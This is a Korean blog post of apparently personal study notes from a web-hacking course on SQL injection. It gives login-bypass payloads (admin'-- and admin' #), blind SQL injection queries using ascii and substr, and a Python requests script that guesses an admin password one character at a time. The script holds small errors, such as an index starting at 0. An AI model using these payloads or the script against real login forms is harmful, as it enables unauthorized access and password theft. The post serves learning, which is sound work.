프롤로그
제목에서부터 SQL Injection 나온다.
인터넷 뒤져봤는데, 각 고객 정보 유출....핸드폰번호 등의 고객정보 유출 등이 있을 때 SQL 인젝션 공격흔적이란 단어가 나온다.
사용자가 입력값에 필터링이 제대로 적용돼 있지 않을 때 발생한다고 되어 있는데, 공겨자가 조작된 SQL 질의문을 삽입해 웹 서버 DB정보를 열람하고 정보를 유출, 조작한다라고 되어 있다.
그러니까 SQL을 좀 알아야할 것 같다. 근데 내가 아는 건 Create table, update table 이거 딱 2개만 해봤는데 큰일났다.
서론
Injection(인젝션) : 주입, 이용자의 입력값이 어플리케이션의 처리과정에서 구조나 문법적인 데이터로 해석되어 발생하는 취약점
SQL Injection
SQL : DBMS에 데이터를 질의하는 언어.
웹 서비스는 이용자의 입력을 SQL 구문에 포함해 요청하는 경우가 있음. (아이디, 비밀번호, 게시글 제목...)
이용자가 입력한 SQL 구문에 임의 문자열을 삽입하는 행위를 SQL Injection이라고 한다.
조작된 쿼리로 인증을 우회하거나 데이터베이스의 정보 유출 가능
Simple SQL Indection
uid = guest / upw = guest
uid = admin/upw = ******
에서 쿼리 질의를 통해 admin결과 반환하는 것이다.
SELECT * FROM user_table WHERE uid='admin' or '1' and upw='';
이렇게 입력을 하면
이렇게 출력이 된다.
그러나 admin부분에서 admin/1이렇게 입력을 하면 출력이 되질 않는다.
admin 값을 알기 위해서 뒤쪽 부분을 주석처리로 날리기 위하여
admin' # or admin'-- 을 입력하여 인젝션이 성공할 수 있다
Blind SQL Injection
위에서는 인증 우회하는 것인데, 이번에는 스무고개와 유사한 방식으로 데이터를 알아내는 방식이다.
Q. 첫번째 글자가 "A"인가?
A. 아니요
...
이런식으로 반복해서 알아내는 것이다. 질의 결과를 이용자가 화면에서 직접 확인하지 못할 때 참/거짓 반환 결과로 데이터를 획득하는 공격기법을 Blind SQL Injection 이라고 한다.
ascii
전달된 문자를 아스키 형태로 반환하는 함수. ascii("a') -> 97로 반환
substr
문자열에서 지정한 위치부터 길이까지의 값을 가져옴
substr("abc", 1, 1) -> "a"
substr("abc", 2, 2) -> "bc"
인덱스는 1부터 시작하는 것 같다.
이를 토대로 한 방식으로 공격 쿼리 예제가 강의에 나온다
# 첫 번째 글자 구하기 (아스키 114 = 'r', 115 = 's')
SELECT * FROM user_table WHERE uid='admin' and ascii(substr(upw,1,1))=114-- ' and upw=''; # False
SELECT * FROM user_table WHERE uid='admin' and ascii(substr(upw,1,1))=115-- ' and upw=''; # True
# 두 번째 글자 구하기 (아스키 115 = 's', 116 = 't')
SELECT * FROM user_table WHERE uid='admin' and ascii(substr(upw,2,1))=115-- ' and upw=''; # False
SELECT * FROM user_table WHERE uid='admin' and ascii(substr(upw,2,1))=116-- ' and upw=''; # True
살펴 보자면 substr을 이용하여 비밀번호의 1번째 위치부터 한 글자가 114번(r)인지 물어보는 것을 ascii 로 반환해주는 것을 물어본다. 이런식으로 찾는다.
Blind SQL Injection 공격 스크립트
위와 같이 하면 한 바이트씩 비교하여 공격하기에 시간이 많이 걸린다. 이를 해결하기 위해 공격을 자동화하는 스크립트 작성 방식이 있다. 파이썬은 HTTP 통신을 위한 다양한 모듈이 존재하는데 requests 모듈이 존재한다.
이를 이용해 공격을 할려고 자 한다면...
(1) 아스키 범위 중 이용자가 입력할 수 있는 모든 문자의 범위 지정
ex) 알파벳 + 숫자 + 특수문자를 사용하는 경우 , 아스키 범위로 나타낸다면 32부터 126까지
(2) string 모듈을 사용해 비밀번호에 포함될 수 있는 문자 생성
(3) 한 바이트씩 비교하는 반복문 작성
(4) 반환 결과가 참일 경우, 로그인 성공시 password 변수에 저장
#!/usr/bin/python3
import requests
import string
# example URL
url = 'http://example.com/login'
params = {
'uid': '',
'upw': ''
}
# abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!"#$%&\'()*+,-./:;<=>?@[\\]^_`{|}~
tc = string.ascii_letters + string.digits + string.punctuation
# 사용할 SQL Injection 쿼리
query = '''
admin' and ascii(substr(upw,{idx},1))={val}--
'''
password = ''
# 비밀번호 길이는 20자 이하라 가정
for idx in range(0, 20):
for ch in tc:
# query를 이용하여 Blind SQL Injection 시도
params['uid'] = query.format(idx=idx, val=ord(ch)).strip("\n")
c = requests.get(url, params=params)
print(c.request.url)
# 응답에 Login success 문자열이 있으면 해당 문자를 password 변수에 저장
if c.text.find("Login success") != -1:
password += chr(ch)
break
print(f"Password is {password}")
하고 위와 같이 코드가 나온다.
query = '''
admin' and ascii(substr(upw,{idx},1))={val}--
'''
password = ''
이 부분을 보면 파이썬의 ''' ''' 을 이용하여 쿼리 변수에
SELECT * FROM user_table WHERE uid='admin' or '1' and upw='';
이걸 입력하는 부분에다가 admin' and ascii(substr(upw, {idx}, 1))={val}-- '''
을 활용하여 upw 부분은 지워버리고, 비밀번호를 찾아내는 과정이다.
for구분은 20글자 이하라고 보고 for분을 무지하게 돌린다.
에필로그
대충 감은 오는데 실전에서 어떻게 써먹는지까지는 잘 모르겠다.
'보안 스터디 > 웹 해킹' 카테고리의 다른 글
[드림핵/웹해킹] Background: Non-Relational DBMS (1) | 2024.01.11 |
---|---|
[드림핵/워게임] simple_sqli -1(웹해킹) (1) | 2024.01.08 |
[드림핵/웹해킹] Background: Relational DBMS (0) | 2024.01.07 |
[드림핵/워게임] CSRF-2 (웹해킹) (1) | 2024.01.07 |
[드림핵/워게임] CSRF-1 (웹해킹) (1) | 2024.01.07 |